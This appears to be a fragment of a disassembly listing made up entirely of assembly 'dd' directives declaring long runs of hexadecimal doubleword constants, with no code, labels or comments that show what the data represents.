		dd 0A918CBBh, 0C87F463Bh, 5C03280h, 464C28DFh, 0BD22E8h
		dd 50DF0DE9h, 1E1BC9D8h, 86F32714h, 15661CF0h, 82D8725Ah
		dd 40EC4BC0h, 2465184Ch, 1F3419B5h, 0F26709B7h,	3DAC5821h
		dd 0B89760C3h, 2928507Eh, 0E400A06Fh, 0E61F7DCBh, 30E13ABAh
		dd 8C59F11Dh, 4C61BBD5h, 8E18C5D1h, 2923A84Bh, 31DF5A01h
		dd 0DB18304Ch, 0F02E888h, 0B439ACDFh, 5E82C1A0h, 0EB009811h
		dd 184BF75Ch, 0A8994105h
		dd 0EDA6CA0h, 21937920h, 2767BD0Eh, 0C6B4F3ECh,	0EAF039D8h
		dd 149AD779h, 7667D00h,	6B1F5F37h, 62190E9Fh, 44602FC5h
		dd 0AB5072CBh, 77F84B20h, 68862843h, 3B603380h,	81E4EEBAh
		dd 0CB43554h, 55DF0A06h, 4E68904Ch, 0EEC12D1h, 1BD56400h
		dd 8EAD99h, 4654E80Ah, 0F7B7C7B4h, 3300749Bh, 0FC613F6Ah
		dd 0F04486C9h, 69040058h, 153DCC0Dh, 4148870Ah,	0B08E02CFh
		dd 87E97737h, 1DE2BCE4h, 1FC080CBh, 0DAE73F5Fh,	0DC216219h
		dd 360E463Eh, 0A12602E8h, 31C21D30h, 0FE5E104Ah, 338F09A2h
		dd 0A885A85Dh, 0FF149847h, 8C0208E9h, 34A1220Eh, 0A02C941Eh
		dd 13A2FA7Ah, 0D79ADh, 0B76CDF11h, 2098945Dh, 525A3507h
		dd 600FC466h, 513C02C2h, 0DEF0A863h, 75DC012Bh,	0AB5D50EAh
		dd 456C6461h, 1AFA2800h, 0A69158F3h, 85C64E4h, 2598D047h
		dd 2B02FA8Ch, 57B6BEFEh, 0A8B46B1Bh, 488E7D13h,	9C090EFh
		dd 8C37B14Ch, 0E2349252h, 0EE9E309Ah, 82405100h, 53C19D63h
		dd 0C2A27B5Fh, 3F3B64E0h, 0F102A4AFh, 200F931Eh, 83353DBDh
		dd 886D5351h, 4601C70Fh, 1B80B095h, 0EA1E31A1h,	4D10F98Ch
		dd 9007A113h, 2184F0F5h, 475C6BE1h, 331920E4h, 61499D44h
		dd 359ED9F0h, 0AF08B600h, 7BCB78AAh, 6ED05BDh, 0C8276330h
		dd 213071Ch, 5C402155h,	633342Ah, 48D5E2CBh, 5602986Eh
		dd 0E3288FABh, 11681729h, 0BE1E80B7h, 32F36704h, 2348D209h
		dd 80C8CC82h, 0B466044h, 37A12101h, 0C41FA1Eh, 0F9778847h
		dd 0E226A202h, 40F6BB01h, 92F2DD88h, 60200ACh, 0A4F9E452h
		dd 84009E7Ah, 7B96B31Ah, 0C8742Fh, 651B03F8h, 0B74B8FACh
		dd 0B8F56B0Bh, 0D1548F3Eh, 5A6A2E80h, 0CA430461h, 5900FA22h
		dd 5B3A6907h, 53E85Ah, 5E751F51h, 946CBF99h, 5910C0B8h
		dd 0B488F21Dh, 0F95CAC6Ah, 0C5EE0318h, 0AE3996F0h, 0DE6802B5h
		dd 40B81FAFh, 0A5CAFC78h, 60F16460h, 388D5Eh, 35E59F67h
		dd 4AD8A608h, 2960AB25h, 4F83812Ch, 0C0486175h,	0AC49B5h
		dd 23685C00h, 9B754BADh, 138084B1h, 2972B9A3h, 79676143h
		dd 8F443BE6h, 815B2239h, 294D05B0h, 0BC2224E5h,	7266760Ah
		dd 0DE35C034h, 0DD18C0CEh, 74C1E1DCh, 0AD630F8Fh, 44208B58h
		dd 0C1C2F8Dh, 0DD585348h, 0E826A3C0h, 4808B751h, 44186850h
		dd 0C54A6140h, 98C1C907h, 0EDA036F3h, 1A37020h,	4C1D775Dh
		dd 0D419928Dh, 0C09ACC45h, 38512717h, 50937801h, 2033AE0Ah
		dd 21F03701h, 0C9A30F3h, 2FF28843h, 0DF6EFA0Eh,	0E3B4E2Bh
		dd 48AA0C3Fh, 3D2C8C04h, 0C00AFCF7h, 7191249Bh,	0F9352007h
		dd 1E6B0B1h, 0A09AE0D3h, 64386E08h, 514C21C2h, 17D184Ch
		dd 106634F6h, 2CB47873h, 12E49438h, 0E847D3B8h,	19C47762h
		dd 61BF7580h, 0AA220020h, 7DB79B65h, 5E051327h,	0F5D46D16h
		dd 2E35E841h, 41A8C346h, 0E2890784h, 41285A3Ah,	32A4CA44h
		dd 3CE00078h, 12B7C60Ch, 8F6491DCh, 61826A24h, 0F419C774h
		dd 6A5D9310h, 0C632F000h, 18F98867h, 0EB2C15FFh, 0BA3CD445h
		dd 6611C173h, 35B9C375h, 0B884283Ch, 37008C6Ch,	3011609Bh
		dd 0F845988h, 13A16CB6h, 0DCA84180h, 0AB00CCC9h, 0CD10E0F6h
		dd 0E620432h, 4A2D11F4h, 801308D9h, 32F50A21h, 0B2A787h
		dd 1238EA37h, 514961D6h, 83016B00h, 94B70A1Ah, 0EF60CC9Eh
		dd 0A8294239h, 383B34D8h, 0D4621132h, 6800E88h,	8F1A32F1h
		dd 47D5002Eh, 6895C689h, 0D90044D7h, 0CF18E167h, 1143CA52h
		dd 3AF0E0F1h, 3EAD14CBh, 0BDB2093Ch, 6EB6803Bh,	5445BAh
		dd 20F99BDAh, 7B55F9Ch,	56F12703h, 0C10D1CB1h, 89D8A2CBh
		dd 38EACCh, 2CB86362h, 340251F9h, 7811FF30h, 1D87B03h
		dd 0F520F1D3h, 0DC529A06h, 5A07302Bh, 4C75EBE1h, 0B22984F3h
		dd 0C87EC03Dh, 4290DD47h, 526CDD0Bh, 92A3486h, 20F50F30h
		dd 36CC56Bh, 23E713E3h,	0C75C67h, 0FF309CE8h, 0E3F994EFh
		dd 8C0EB82Ch, 4A4E7100h, 0B3A3656Ah, 537503h, 3846BEFDh
		dd 7AC53FEEh, 0E0924C18h, 60C2B068h, 537F411Eh,	223DA0B7h
		dd 90178AEh, 0DB14E754h, 0B85028ADh, 1AF2FF9h, 44D51EE5h
		dd 5035D2D6h, 30AA4CC4h, 0DE899D00h, 44C8A150h,	1BFCB4h
		dd 5F872990h, 0CBBF06A0h, 0C82B31C0h, 0C137D285h, 5CAC8611h
		dd 32D8CB9Eh, 0CF002FE5h, 0D651BD72h, 4ACE18h, 0EF6C1B29h
		dd 3843DCB6h, 0E1644102h, 48F24076h, 0F1610h, 5984C98Bh
		dd 0ED7547E6h, 0B930EC74h, 0FB8820CDh, 480B3885h, 18870FF9h
		dd 0DD201CC7h, 4B949EE6h, 41340800h, 0B1A3B428h, 7986000Bh
		dd 50F17D23h, 320E5EE9h, 7E2C3DC7h, 31DFA889h, 1FCC878h
		dd 3618FF61h, 81F02188h, 97342025h, 0B0E840h, 530BC87Ah
		dd 0F11488E9h, 2BCA581Dh, 0F49C2602h, 3E3497BDh, 0FC41C46h
		dd 46B201FDh, 0C53014E3h, 0A0745C20h, 9F90A0h, 2E9B4139h
		dd 370234A9h, 67E1C7Fh,	0C8E85748h, 32D3C0C6h, 4466202h
		dd 30001222h, 9ACF32DBh, 3A23C69h, 0D2B091DCh, 2005403Eh
		dd 29F4EC9Dh, 0A9F5DC01h, 788076A2h, 2EEA5BC8h,	10C2304Dh
		dd 0A892949Ch, 7B11F0C4h, 0CA8C0280h, 0EC43F184h, 0E10110h
		dd 5385FAB5h, 30B632F7h, 0EDF81F8Ch, 65048711h,	10EB8038h
		dd 30FAAC82h, 4C4E6C2Bh, 0AC4C5DA1h, 0D3058812h, 7D1E6C77h
		dd 8E008A2Bh, 0F2252D7Bh, 7CC976B0h, 0C7B201DAh, 55264827h
		dd 0B6D99D22h, 10640954h, 0F9C44320h, 0E920C285h, 0B6036494h
		dd 9464859Dh, 1858B1B2h, 31351C00h, 992D4B34h, 0C88108Eh
		dd 76F7CBC0h, 1E6AEE48h, 6C2A65ABh, 42AE0018h, 1AC23707h
		dd 5A4031DDh, 7E103616h, 0D5ECF980h, 0CB150161h, 0E2A809F1h
		dd 0C68FEE5h, 350114E9h, 422A0292h, 18B22BA2h, 0E0B077F8h
		dd 0C6088B0Eh, 64E65184h, 6B1401Fh, 1D3CC485h, 97AA279h
		dd 940336A7h, 0E9C08425h, 2E034A4Dh, 0C739E115h, 0AD8118F6h
		dd 78C1893Dh, 7397BD00h, 0B6E7CA11h, 0B99807FCh, 0C063F19Eh
		dd 0D3A87C4Dh, 8F3A6C93h, 31620532h, 0F4FAA29Dh, 57443200h
		dd 15AA2FC9h, 7424928Fh, 3C4A30A2h, 8946B5A0h, 30A7B09Ah
		dd 7D603044h, 3C06325Dh, 2A6342F2h, 4480A7D0h, 932E6018h
		dd 0B3633C1Eh, 4ACA571Fh, 80902CADh, 0D6842840h, 243E6FB2h
		dd 3190D9F1h, 51EB2138h, 4BDAB540h, 2A92040Ch, 806DC8B6h
		dd 24D5DB40h, 610C557Bh, 0C122C26Fh, 0F9364C1Fh, 56FA0673h
		dd 910642E4h, 0EAD89A03h, 984E596Ch, 3A72D6FBh,	93BF80FEh
		dd 502CD112h, 0A038AC9Ch, 0C6543A87h, 0BBE04018h, 0B05206D9h
		dd 68848D4h, 1BC2BA5Eh,	0A62B0079h, 514D81FDh, 0BD00D39Eh
		dd 0E708E2BEh, 91EF65E5h, 0C1F582C0h, 306810B2h, 1CB17B51h
		dd 86E10178h, 57789200h, 53DD6263h, 0ACF656CAh,	0D0844E02h
		dd 41317FB2h, 8577E910h, 3606F58h, 186A73BEh, 0F746D026h
		dd 0EC56481Ch, 36F92121h, 0FE0C4F18h, 70C65BE4h, 5A490E56h
		dd 70204A48h, 574633F5h, 0EC1CF74Dh, 0B477DCh, 0F8BCC623h
		dd 0EA594A02h, 0BA06001h, 72C2D720h, 31FB6052h,	0A2A089D2h
		dd 13803119h, 6CDA0117h, 8448D83Eh, 0F2B0700h, 6CB23BCh
		dd 918B9B5h, 0DE899F63h, 0B4D52080h, 13074B6h, 0C04C9C30h
		dd 0CF350688h, 59114933h, 26809C09h, 60D005E7h,	0AD064E80h
		dd 0F351C203h, 48CE43h,	0B21E04D6h, 5085A5FDh, 0EC208418h
		dd 5B8833h, 783261D4h, 0A8DBB602h, 37A40C0h, 0DD5ADA9Ch
		dd 6F0B9760h, 52ED00D8h
		dd 68319174h, 89A00106h, 0A52EA2B2h, 62582009h,	0F9CF9770h
		dd 80878443h, 1818BCA0h, 0A8CAB271h, 9B0CEDB7h,	0E139D2DCh
		dd 246701BFh, 54BB08E9h, 1178F898h, 86D2C201h, 1DC3F1D4h
		dd 0F78089BAh, 7E95CA9Dh, 3EB0A2A7h, 0A1462C13h, 75A46850h
		dd 2E983741h, 796E391Ch, 81891B39h, 0DE8E452h, 0E820B30Ch
		dd 795C997Bh, 4A181Eh, 1FA62313h, 0F1EC2002h, 2EBEEA17h
		dd 28379903h, 0CA52C93Dh, 2BC4CF2h, 0B2D7844Dh,	0E2162597h
		dd 0E850076h, 0A18656A2h, 20391D6h, 7A899CB7h, 0A312FFA0h
		dd 9014390h, 124463E1h,	60DAF004h, 10D48452h, 0C8275FB2h
		dd 7BED8046h, 11EB985h,	2A84020Ch, 2433503Bh, 8108AA4Ah
		dd 0B6E15C95h, 5DAC4892h, 0A4AE3338h, 420A64BCh, 20878805h
		dd 0BFE0D1CAh, 0F267136h, 341F7E17h, 0FEA4020h,	613330DDh
		dd 982B5945h, 904C1C2Ch, 0A9972E70h, 5C1CAEE0h,	7B0C0E46h
		dd 866BE98h, 63895403h,	694328h, 6BB56699h, 0D5C6320Ch
		dd 4938FA01h, 0D2D80671h, 42912CEBh, 35465EB0h,	66A24000h
		dd 7DCABE68h, 0F446F8A2h, 0C061400h, 9266CB20h,	7A360069h
		dd 73761723h, 48C08529h, 0CCB6E5F0h, 4139009Ch,	0FB60F9DDh
		dd 0C5F0FD92h, 0C6C11167h, 0C6E866A9h, 6937C308h, 21327107h
		dd 0A4508720h, 0D5CB1Bh, 10E4DDE2h, 4EA19701h, 0D34C1701h
		dd 0EB494B85h, 48413EF8h, 5110780Eh, 8C02DC43h,	596184C8h
		dd 0F88F6044h, 71002885h, 6E6DEABDh, 7858C69Ah,	4375189Dh
		dd 5DF2B11Ch, 5F466100h, 42A22669h, 3F4100DCh, 92689983h
		dd 0D9A30796h, 40758010h, 0CC8C04C0h, 0A48C0184h, 0FC8300B8h
		dd 5CC90785h, 3C71EE24h, 4D605894h, 5840192Eh, 7AC89807h
		dd 0CD8C03C0h, 0ECF92184h, 7E1491h, 0F1C185FFh,	102C23DFh
		dd 0A339F70Ch, 72841C8h, 0CE75DDAAh, 4490A9F8h,	1E50DC05h
		dd 0C00090B9h, 3E0B3596h, 24687F33h, 9370E402h,	0C038DE5Bh
		dd 42859B50h, 0C5330301h, 0B09483E4h, 62CB87A1h, 7C62009Ch
		dd 9B196090h, 1204B12Bh, 0F0AC409Dh, 0AC57DFDBh, 374CE03h
		dd 0E1FD9ABBh, 28B4D6h,	0D801639Eh, 29A2516Ch, 6A880C18h
		dd 616C00C0h, 1362F92h,	8B0451A6h, 88089763h, 0C6F76880h
		dd 1B89E98h, 216A619Ch,	24B1E91Fh, 7D029B28h, 0EA80A229h
		dd 6B3C600Eh, 918D6945h, 34E14010h, 0E78FC800h,	40992E35h
		dd 64D8A9D6h, 14F16022h, 0E3D0CE1h, 2112BE82h, 0DDD50860h
		dd 6331302Dh, 0E4CBD931h, 2300CC29h, 32E2528Dh,	0E7009D95h
		dd 9794337h, 422A0F7h, 86494A17h, 77CA0B9h, 4EE1B63Ah
		dd 0A6401C45h, 44AD8402h, 92C0C0F2h, 0CCC628D7h, 0A4C307E3h
		dd 0D612E4B2h, 0F85C713Ah, 843D44h, 0D4096954h,	911EDFh
		dd 43502773h, 11144BFEh, 1CE39203h, 998E2A18h, 0E0543005h
		dd 30F434C2h, 7A08844Ch, 64274FB2h, 75CE5C45h, 2C8C8085h
		dd 1524F66h, 0B35C9D40h, 82A6549Eh, 0D38A858h, 8054E387h
		dd 5C96EE40h, 0C086C1Bh, 0E0023992h, 36DACB6h, 0A5BDEAB2h
		dd 0AC65FEB4h, 0A26017E4h, 0D47678E5h, 78C1392Eh, 522D340h
		dd 8B140745h, 802F9B53h, 27C5DD21h, 8409F078h, 8035FACEh
		dd 0AC49EC4h, 76C89C09h, 0FC006B46h, 0A85A437Ah, 762E606Ah
		dd 621655D8h, 30DBB422h, 0DD118457h, 448807B2h,	8420A087h
		dd 0D036A800h, 0E9DE00E2h, 572442DDh, 98B81AB2h, 30F4B710h
		dd 43B62D7Eh, 18458492h, 7880D1CEh, 0BDCD7DB0h,	0FC4F8D26h
		dd 0C5586300h, 19BDFB3h, 0A699DE75h, 20011A98h,	1F60C8BCh
		dd 3A3D4841h, 1C90008Dh, 5E2F52EAh, 62738EEFh, 0A0378430h
		dd 0C8BB4D4h, 12B3309Ah, 0AE12AF40h, 31DB2h, 263261ABh
		dd 810420FAh, 0DB3B5CF6h, 0F33889C2h, 0E980C045h, 0FE1C39CEh
		dd 7971C15Ah, 1C9BFAF9h, 0FA1903A4h, 9FA00446h,	0D011F38Ch
		dd 0D3537C30h, 6BD064B1h, 940086E1h, 0BC3D46E9h, 1FC2220Eh
		dd 484537E0h, 3F8307BDh, 985358D1h, 0AEC659h, 0C825EAB5h
		dd 0D6882D2Ah, 40930E0h, 6554359Ch, 6046C4ACh, 30261B1Ch
		dd 7B9CD42h, 0EE786202h, 0CC0C0904h, 1CA253DDh,	0A33039E2h
		dd 0E81F076Bh, 0C0E26C5Eh, 6AAF92D8h, 0C8D08950h, 7C5EDEB0h
		dd 1723B02Eh, 0AA247103h, 14B1D872h, 0E3A0539h,	0CCE4542Bh
		dd 8900707Ch, 5A56EFECh, 22B16AAh, 0A5922065h, 0CC412882h
		dd 0D0320D35h, 30D4B9E3h, 74961A1Dh, 97B83DCFh,	30AC7C85h
		dd 18C8889Eh, 0F0414C5Eh, 0A574B6B7h, 0FD9CF885h, 0BA86BFF8h
		dd 0C64D0971h, 1889788Eh, 0BA487481h, 0D768200Fh, 0F0F93265h
		dd 1CD70438h, 255E64h, 0C3765D2Ch, 0CA3E5660h, 7D5F00D0h
		dd 7E49A73Fh, 0FEF5073Ch, 5129047Ch, 0CC61D9F0h, 6000E740h
		dd 283A48FDh, 4CAB264Ah, 46E82CD6h, 0E95E88Ch, 6F30A218h
		dd 8BB7C018h, 31D1E8B1h, 51021018h, 90B6B41Ch, 0C49C878Ah
		dd 1813BB31h, 4E209700h, 21BD2E10h, 14D7EF00h, 359D75F1h
		dd 71B12230h, 4868C763h, 0F450D4E1h, 88F847B3h,	0C220A117h
		dd 0E532FF88h, 8191EFD8h, 14D3C020h, 40B68820h,	7AF8186Fh
		dd 84E86319h, 38017DD8h, 4C1422C6h, 3DCB22ECh, 89203E86h
		dd 43D9D800h, 4792A1B5h, 1C044D40h, 0D3B0C101h,	0CC62583Fh
		dd 0B5000313h, 2D4CCDA0h, 2D72E8EBh, 0B8371760h, 0B2343C01h
		dd 7822C2D8h, 6E9E600h,	0AA289356h, 0F269780Eh,	27C6426h
		dd 0F2E9A4A8h, 0F9B4D30h, 0B6B2D27Ah, 494A1AAh,	812CAB2Bh
		dd 635FAEE0h, 0C1B8E7ACh, 0E0D19BACh, 0B4B67B5Bh, 0CDBA215Ch
		dd 0F2A51C80h, 0A6DB6Eh, 2F1D63E4h, 7BC5A023h, 0C1F02D64h
		dd 0F32CE60h, 3C6121h, 0B1D9DB37h, 0E3001FDAh, 0BF4B16E4h
		dd 0E69077Eh, 0CF87A493h, 1D671960h, 831B3E03h,	0B730BAD8h
		dd 1A7901FBh, 0BD0FB9Fh, 964F0EEh, 0C965BE6Bh, 0DB1F1400h
		dd 9560A20Fh, 0F351BA60h, 0B917039Bh, 309E7697h, 0DB4C0918h
		dd 3BEB7120h, 7400779Bh, 0D7E6D86Dh, 7000FBADh,	46C04EE2h
		dd 63A2D526h, 0E59D5194h, 64F20800h, 0EB4C35B4h, 6C483BDFh
		dd 574D688Ch, 2760A7E0h, 0FFC36661h, 196B1D6Ah,	639140A9h
		dd 0C0425E25h, 0F44D23Ch, 227CDABEh, 8E1898DFh,	40E3CC54h
		dd 911107B1h, 65CD06D3h, 0B0C08083h, 0DBECE69Fh, 1DBF8CA8h
		dd 524ED707h, 5A51361Bh, 0C5E535E3h, 0C01C219Dh, 0D6CFCBD8h
		dd 0AD0FA8B8h, 0D4E142C4h, 8ABD00A4h, 540181BAh, 60B83EB7h
		dd 0C0277D9Ch, 0BE8346B5h, 0B2F3A422h, 21DD20F9h, 30495F5Ch
		dd 0EF0065BCh, 0F215D535h, 0C6A52E1Ch, 606D2C78h, 9BA82A15h
		dd 5CB001A0h, 4DA3F8C1h, 0D6F134E1h, 0FD3AE980h, 0A6AC135Eh
		dd 5B95C307h, 3146BE1Bh, 8A00021h, 67802A65h, 6018DB98h
		dd 1CC8C31Eh, 0EBB30928h, 2C2E9E36h, 1160840h, 44F7FF48h
		dd 0F3CC4CC5h, 16E0DF21h, 0B8B6C701h, 42EC0510h, 380F180h
		dd 0ABD2336Eh, 0B9CABA1Fh, 5B298130h, 0FF41C09Fh, 55768730h
		dd 0CE216D14h, 30D6B940h, 0C100D164h, 7823EE1Bh, 1E203C81h
		dd 779D1C38h, 0B8947190h, 4288219Fh, 0FD30096Ch, 0B91D089Bh
		dd 2B647AE7h, 9BF55743h, 4DCA10F0h, 557C2400h, 77E8A4C9h
		dd 49E901F9h, 0ECE68AD6h, 9BF1F8B8h, 0D4566309h, 4B780058h
		dd 0C26D7016h, 472CE619h, 0A8087F0Eh, 1F4C0566h, 4E06035h
		dd 0AC230E5Eh, 2611FEh,	0B5650BA5h, 6CCDD01h, 0BC552133h
		dd 48DD5835h, 0D98D0462h, 0C04A1395h, 65E9D6E1h, 5B3BEE00h
		dd 3A16F4A4h, 3DA830ECh
		dd 0E98D98E9h, 0C5731700h, 0FD40B061h, 253B89Fh, 0D1BB59C4h
		dd 8448D7CCh, 51B8EEABh, 39159C00h, 4ABEDB58h, 16E61D1Eh
		dd 0B005D520h, 19BF980h, 7B4C47B9h, 805BB21Ch, 0A2652D82h
		dd 0F9D4000Fh, 0CB92A056h, 831DDACh, 0C4A1D849h, 98486EC5h
		dd 2028C2Fh, 0EAC105Eh,	102719BEh, 365099Bh, 20B54701h
		dd 4C806E7Dh, 0AC518216h, 0A85AC0EEh, 1F88DE00h, 0A5B8BFAFh
		dd 241C90E9h, 8034EF32h, 775B2D0Ch, 0F5009115h,	79BCD460h
		dd 28F94A87h, 20E85E5Dh, 0EA706AF4h, 0D81C890Ch, 4F51076h
		dd 30F67453h, 0C0C8C3D0h, 0BE7CEDB0h, 47209400h, 481AC537h
		dd 4D249834h, 188048E7h, 3351FDD7h, 0C3223743h,	0D8301900h
		dd 5E384E12h, 0C0EF255h, 0C231A671h, 3603AAB9h,	9F51E67Eh
		dd 849CC478h, 0FA058C0Ch, 4FB9169Bh, 204ED462h,	69BF256h
		dd 39B0CC1Eh, 0F17F6382h, 0C274C148h, 0B4FAE880h, 71439020h
		dd 3938A730h, 3D1C160h,	40193B05h, 55F0F866h, 749806A2h
		dd 0E0CE470Ch, 9D94072h, 0F5B32D8Ah, 160E00B0h,	0F480308h
		dd 49DD6437h, 253A07E5h, 3EC25830h, 0A2D01DEh, 61A220B8h
		dd 0D8CC41CFh, 231C2277h, 5E010130h, 1806AC0Fh,	0CA4883Dh
		dd 9E8E6507h, 7009477h,	17A702h, 7468646Dh, 524C5446h
		dd 0BEEC4550h, 0E15B000h, 2495E143h, 183762AEh,	58454D5Ah
		dd 2D6030E4h, 0D4010251h, 8F74B419h, 0B4206415h, 6D123B49h
		dd 89A7B18Ch, 0EE543271h, 60EF588h, 40086BCEh, 8868454Fh
		dd 0A0390001h, 0BB0EC695h, 889B4D89h, 2A63FB00h, 12673CCh
		dd 60BCA1E0h, 64415538h, 4893016Ch, 0F3D71200h,	8635E351h
		dd 7B5FC644h, 2F972C0Ah, 55AC0284h, 0E0423B60h,	18F0EC41h
		dd 10167013h, 0B0370748h, 1D16EBE4h, 40989765h,	0C9FEE796h
		dd 427CBFC3h, 80B01F49h, 54DB2A1h, 0A78512A5h, 0A83C4026h
		dd 0C5E60A58h, 2E34B81Fh, 9AB00140h, 0BE98CCh, 6A953C68h
		dd 8419F530h, 8841B302h, 0E8091704h, 3F01A184h,	94C8333Dh
		dd 48C49BCh, 0D170B2F6h, 0A10C816Ah, 8844639Fh,	9BFCC006h
		dd 5F52B91Ch, 2A222Ch, 0C9BF454h, 487F9D05h, 6950BE78h
		dd 0A891BF80h, 0EA46B4A0h, 2160902h, 0D8315748h, 6001FA11h
		dd 6F7D77B0h, 0F24EBA01h, 81A11114h, 430A5C20h,	6507029Ah
		dd 1C16AC09h, 656A9A00h, 0A7DAAF24h, 45B9C13Ch,	0E0A8FA76h
		dd 23004690h, 3D7EA6C0h, 26BDCF4h, 55ABF931h, 144740E8h
		dd 0CD60D2C4h, 9A022069h, 4CEE468Dh, 368C8FCFh,	0FC098C30h
		dd 733A0463h, 90D6832Eh, 7CFBFE58h, 0F0530D3Bh,	468FAD18h
		dd 37431A61h, 3F29DAA9h, 0CC82B383h, 0C301100h,	53D3A8B5h
		dd 0C53B07DBh, 0D0320520h, 6FD586A9h, 0F0ED3001h, 0FCF7EED0h
		dd 50A9822h, 74AC0A01h,	868E7Dh, 30468703h, 10F14AF6h
		dd 53F4A302h, 603FC47Ch, 19DA1234h, 0F05F40E5h,	7C1429A2h
		dd 0B5BBF900h, 683E6396h, 1C20C445h, 72F49DBDh,	30BEB284h
		dd 40016D8Ch, 55BD7104h, 47D0DD6Eh, 0CCDC26A6h,	28B5CBE8h
		dd 311B4A00h, 4490C79h,	9451A29Bh, 0B868B060h, 7C9A3AEAh
		dd 7B46B500h, 30CA8ADAh, 13A8A8E0h, 0CB8B0645h,	1E24523Dh
		dd 4CC5B8AAh, 5A604FE4h, 0BB019654h, 0B8996D7Ch, 0B8288B4Bh
		dd 0CFB8EBCh, 0DDDE0053h, 0B71C83A1h, 0BE78938Ch, 0C8A3E07Ch
		dd 0E5AD3006h, 31059D8h, 5B2AF1C8h, 0B017970Dh,	0F461AA4Dh
		dd 20D29B31h, 0DFB030C7h, 40298D00h, 0AF07D6F4h, 4F7A0265h
		dd 0BC6F1252h, 91141960h, 144D74Ch, 0FBDC27FDh,	57E09073h
		dd 0AECA8CAh, 803E54A7h, 849D00E3h, 0D9052B5Fh,	0EF2E62B6h
		dd 0DC805803h, 5228DEC6h, 359E244Ch, 10B20240h,	885AEBF9h
		dd 1F2826EBh, 51C4D71Ch, 0CB323753h, 0D8341520h, 74520D42h
		dd 365032AAh, 94540944h, 0B2002068h, 529FB46Bh,	1B0230E4h
		dd 2B51F8D7h, 1610C731h, 0CD00D833h, 4085E6B4h,	60689372h
		dd 95E86827h, 98255D4Bh, 0F0702083h, 39B67Eh, 56AE26BFh
		dd 69BEC3DFh, 7A245119h, 0DCFD4289h, 9954318Fh,	2C906109h
		dd 8A0120B5h, 16464486h, 40756F0Ch, 30C41C4Bh, 8782301Fh
		dd 0CE460CB7h, 5B486B84h, 5A619502h, 0C7DEA9C5h, 60484424h
		dd 0E694EFh, 19961B1h, 83C3F7E0h, 6CC1D060h, 0B9D74Ah
		dd 962B3889h, 8A6B2062h, 0BDACFC05h, 0F4420110h, 40504602h
		dd 869A1988h, 12125EE0h, 60CB9EACh, 678A126h, 71D58344h
		dd 1CF27B00h, 0BF185B67h, 0EAF0A18Eh, 0D7080118h, 0C43B51FAh
		dd 191847C4h, 64236DB1h, 0BFB4DCh, 0C3BECDCFh, 4FC09177h
		dd 7346DE14h, 8CBEB82Ch, 5C8C6500h, 38062874h, 45372725h
		dd 0CF66C410h, 82390B00h, 506C3DACh, 0D9C4B126h, 3A2518F4h
		dd 0E280C883h, 0DD86B742h, 50C14110h, 987EBF04h, 2ED32C29h
		dd 1F3D1024h, 766DA1C1h, 0D0ACE448h, 10A8DE4Ch,	0B7070F02h
		dd 0F2D19CC7h, 84E8864Dh, 72118BD0h, 59B81FBFh,	2465548h
		dd 0F1A1ED2Dh, 669342FEh, 5EF89654h, 1300D846h,	0E93603B3h
		dd 8C0932F1h, 0C260A04Dh, 6EC51B8h, 39C95A29h, 98A4C70Bh
		dd 114C3573h, 74EB80D6h, 1FC183AFh, 8392892Dh, 0BDCCC648h
		dd 6899587Ch, 6C1D5A00h, 380352h, 0A167518Eh, 0CB5D9F39h
		dd 0FCB1770Eh, 908C32EDh, 98EE3F4Dh, 539A48E0h,	0DB05BDAFh
		dd 8E965C52h, 0F5107C91h, 554BC24h, 61B0BE9Fh, 4DC1215h
		dd 1038BAC4h, 0F02E13E8h, 942FC452h, 0AA05C523h, 0C0800AC7h
		dd 765C7411h, 0B0C42CF0h, 52C69D44h, 7F3C916Ch,	30EA09EFh
		dd 0FF111612h, 0D9882F48h, 0DC0E0997h, 2686E0F1h, 9C0A8E5h
		dd 9823CFFBh, 0BDE0302Eh, 4E033094h, 8302C0E1h,	7A9D263h
		dd 0C00C072Fh, 4EA961Eh, 0E0D4A66Fh, 763D8A5Eh,	0E1B0A066h
		dd 742080A0h, 0D036BA12h, 0EC7D49Bh, 4B1C00B8h,	0E44881CEh
		dd 4EE30048h, 0D529B1A4h, 0BE030075h, 0A8BA6E22h, 78C1EFF1h
		dd 7CEE46FFh, 2900243Ch, 0AAF7B1E0h, 12D2FBAh, 92E0A1CCh
		dd 0DF2015F1h, 88420480h, 0B044306Ah, 0F3071060h, 2AE80A0Bh
		dd 0FA5118C7h, 0C682FB9h, 16101281h, 0CE006005h, 5B4BD217h
		dd 9480B21Dh, 6B18A990h, 4121E1Ah, 7CEB0EE7h, 0AB08FFE0h
		dd 0E0A8C632h, 6300CB06h, 8198FDF8h, 0F7FB9D02h, 4120BAC1h
		dd 0E8C1C46Ch, 924881CEh, 7C542013h, 0ACC47B2Ah, 0C603CB4h
		dd 0FF4CBE4Dh, 35023880h, 32DF1CD1h, 78850C94h,	54C32BA2h
		dd 0E1F7D85Ch, 0BE50F7Fh, 0AF206B76h, 689F1EB6h, 9F00401h
		dd 87311DF8h, 261957FCh, 74C818CDh, 5F00EE46h, 51F48A3Ah
		dd 3E5C0E74h, 0BC05A574h, 58D53C4Eh, 0C788A8DAh, 56A8D9C0h
		dd 0D25C06FFh, 58E39C7Bh, 8D3BE2Dh, 0D424984Ch,	906EB196h
		dd 0E09D607h, 6C5C40CAh, 0E03F2AABh, 26C4D3AFh,	4674C818h
		dd 22CB00DDh, 27100ADCh, 1E6E1C93h, 0B2D340CAh,	967BFC7Dh
		dd 711B1C94h, 10A28474h, 0A530C3F2h, 0FC0B00B7h, 982EF771h
		dd 68B4203Eh, 0B1E700FEh, 6E7BF7BCh, 4809EDE0h,	0C576A4CEh
		dd 80F491ACh, 4804160Fh, 0F3448CE7h, 0E860F9E0h, 63FC071Ch
		dd 0C0043089h, 3CC4E88Ah, 1444C75Eh, 301026A0h,	18CF4B8h
		dd 0E4C0365Fh, 964B204Eh, 3CCC6448h, 791491B0h,	4218C2h
		dd 0A3CD5CDFh, 1E830DEh, 0F925407h, 81AC36FAh, 9C14014Ah
		dd 0EBA14641h, 0BE84D0B4h, 13383CBAh, 0F7ABE31h, 8E119F53h
		dd 0C8D01727h, 0ADD01E6h, 6F9F033h, 0D8465C7Ch,	22EB4C00h
		dd 0C6E87B20h, 44463E0Bh
		dd 0AE14C559h, 3046564Ch, 6F64C502h, 58FABDF1h,	5846630Ch
		dd 248F605Eh, 0EB0CA8CBh, 4E842435h, 25C00BA5h,	1D801A7Fh
		dd 0EDCCE837h, 5404548Eh, 0B274B3B6h, 5B2030BEh, 84F28A01h
		dd 0B311B8F8h, 0EFEEC460h, 0AD051868h, 0F43F9845h, 7160E044h
